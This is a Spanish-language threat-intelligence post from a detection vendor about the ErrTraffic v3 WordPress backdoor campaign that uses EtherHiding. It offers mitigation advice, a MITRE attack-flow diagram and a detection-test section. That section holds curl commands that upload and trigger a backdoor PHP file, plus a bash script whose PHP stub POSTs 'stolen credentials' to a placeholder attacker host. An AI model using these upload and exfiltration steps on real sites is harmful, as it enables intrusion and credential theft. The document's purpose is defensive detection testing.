SOC Prime Bias: Medio

16 Abr 2026 15:04

ErrTraffic v3 utiliza EtherHiding en campañas de ClickFix

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
ErrTraffic v3 utiliza EtherHiding en campañas de ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe describe una nueva campaña que utiliza la herramienta ErrTraffic v3 para comprometer sitios de WordPress instalando un backdoor como mu-plugin. El backdoor inyecta JavaScript ofuscado que recupera cargas adicionales mediante una técnica basada en blockchain llamada EtherHiding. La etapa final entrega código malicioso específico para el sistema operativo, incluido un payload de PowerShell cifrado, a los navegadores de las víctimas. Errores de seguridad operativa, como claves hard-coded, exponen la infraestructura.

Investigación

LevelBlue SpiderLabs examinó el backdoor mu-plugin de WordPress, el beacon JavaScript incrustado y el panel de control ErrTraffic V3. Rastrearon el uso de claves XOR estáticas, decodificación Base64 y llamadas a contratos inteligentes a nodos RPC de Polygon. El análisis también identificó la clave de autenticación hard-coded utilizada para la comunicación de la API y mapeó la infraestructura de alojamiento a través de varios proveedores a prueba de balas.

Mitigación

Los defensores deben eliminar el backdoor mu-plugin, bloquear TLDs e rangos IP maliciosos conocidos, monitorear el uso de la clave de API hard-coded y restringir las conexiones salientes a los endpoints RPC de blockchain. Auditar regularmente las instalaciones de WordPress en busca de mu-plugins inesperados y validar la integridad de los archivos. Desplegar firewalls de aplicaciones web para detectar los patrones de JavaScript beaconing.

Respuesta

Una vez detectado, aislar el servidor web afectado, eliminar los archivos backdoor y rotar todas las credenciales de administrador. Bloquear los dominios maliciosos identificados y los endpoints RPC en el perímetro de la red. Realizar una revisión forense completa para identificar cualquier payload descargado y monitorear la actividad C2 continua utilizando el token de API divulgado.

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Acción</b> – <b>T1659 Inyección de Contenidos</b><br/>Explotar sitio de WordPress para subir mu-plugin malicioso (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Acción</b> – <b>T1671 Integración de Aplicaciones en la Nube</b> / <b>T1525 Implantar Imagen Interna</b><br/>Backdoor instalado como un plugin que se debe usar en cada solicitud"] class step_persistence action step_credential_access["<b>Acción</b> – <b>T1056.003 Captura de Entrada</b><br/>JavaScript inyectado captura credenciales de administrador y las envía al atacante"] class step_credential_access action step_c2["<b>Acción</b> – <b>T1102.003 Servicio Web Comunicación Unidireccional</b><br/>Beacon envía datos de visitantes a dominios de atacantes a través de navigator.sendBeacon"] class step_c2 action step_obfuscation["<b>Acción</b> – <b>T1027 Archivos Ofuscados</b><br/>Payloads codificados con Base64 y XOR, incrustados en scripts en línea"] class step_obfuscation action step_smart_contract["<b>Acción</b> – <b>T1059.009 API en la Nube</b><br/>El script consulta endpoints RPC de Polygon y contratos inteligentes (EtherHiding) para URLs"] class step_smart_contract action step_dead_drop["<b>Acción</b> – <b>T1102.001</b><br/>Usa blockchain como buzón muerto para la configuración C2"] class step_dead_drop action step_encrypted["<b>Acción</b> – <b>T1573.001 Criptografía Simétrica</b><br/>Tráfico de API cifrado con AESu2011GCM o RC4 usando clave hardu2011coded"] class step_encrypted action step_execution["<b>Acción</b> – <b>T1059.001 PowerShell</b><br/>Descargador crea directorio temporal, escribe ejecutable y busca payload específico del OS"] class step_execution action step_priv_esc["<b>Acción</b> – <b>T1546.016 Paquetes de Instalación</b><br/>Script de PowerShell se registra como paquete de instalación para mantener el acceso"] class step_priv_esc action %% Connections step_initial_access –>|conduce a| step_persistence step_persistence –>|habilita| step_credential_access step_credential_access –>|proporciona| step_c2 step_c2 –>|usa| step_obfuscation step_obfuscation –>|facilita| step_smart_contract step_smart_contract –>|almacena| step_dead_drop step_dead_drop –>|entrega| step_encrypted step_encrypted –>|soporta| step_execution step_execution –>|habilita| step_priv_esc "

Flujo de ataque

Ejecución de Simulación

Requisito previo: La Verificación Pre-vuelo de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y estar orientados a generar la telemetría exacta esperada por la lógica de detección. Los ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

  • Narrativa de Ataque y Comandos:
    Un atacante ha comprometido una cuenta de administrador de WordPress y sube un archivo PHP malicioso llamado session-manager.php en el webroot. El archivo contiene una sección HTML de apariencia benigna que termina con un <script> bloque cuyo comentario dice “JavaScript incrustado al final de la sección”. El script realiza una exfiltración de datos encubierta a un bucket de almacenamiento en la nube (simulado mediante un curl POST). No se utiliza navigator.sendBeacon() está presente, manteniendo la solicitud dentro de la ventana de detección de la regla.

    1. Subir backdoor malicioso:
      curl -u admin:password -F "file=@session-manager.php" 
           "http://target.example.com/wp-admin/async-upload.php"
    2. Activar el backdoor (genera la telemetría de activación de detección):
      curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
  • Script de Prueba de Regresión:

    #!/usr/bin/env bash
    #
    # Simula la carga y ejecución de un backdoor malicioso de WordPress
    # que contiene la frase exacta que la regla Sigma observa.
    #
    set -euo pipefail
    
    TARGET="http://target.example.com"
    ADMIN_USER="admin"
    ADMIN_PASS="password"
    
    # 1. Crear el payload PHP malicioso localmente
    cat > session-manager.php <<'EOF'
    <?php
    // JavaScript incrustado al final de la sección
    echo "<!DOCTYPE html><html><body>";
    echo "<script>/* código malicioso */</script>";
    echo "</body></html>";
    // Stub de exfiltración simple (sin sendBeacon)
    if ($_GET['cmd'] === 'exfiltrate') {
        $data = base64_encode('credenciales_robadas');
        $url = "https://malicious-storage.example.com/upload";
        $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data))));
        $context = stream_context_create($options);
        file_get_contents($url, false, $context);
    }
    ?>
    EOF
    
    # 2. Subir el payload a través del endpoint de subida asíncrona de WordPress
    curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" 
         "${TARGET}/wp-admin/async-upload.php" >/dev/null
    
    echo "[+] Subido session-manager.php malicioso"
    
    # 3. Invocar el backdoor para generar tráfico visible para detección
    curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null
    
    echo "[+] Backdoor activado – la telemetría de detección ahora debería estar presente"
    
    # 4. Opcional: pausa para la ingesta SIEM
    sleep 5
  • Comandos de Limpieza:

    # Eliminar el archivo malicioso del servidor (requiere acceso SSH de administrador)
    ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php"
    echo "[+] Limpieza completa – backdoor eliminado"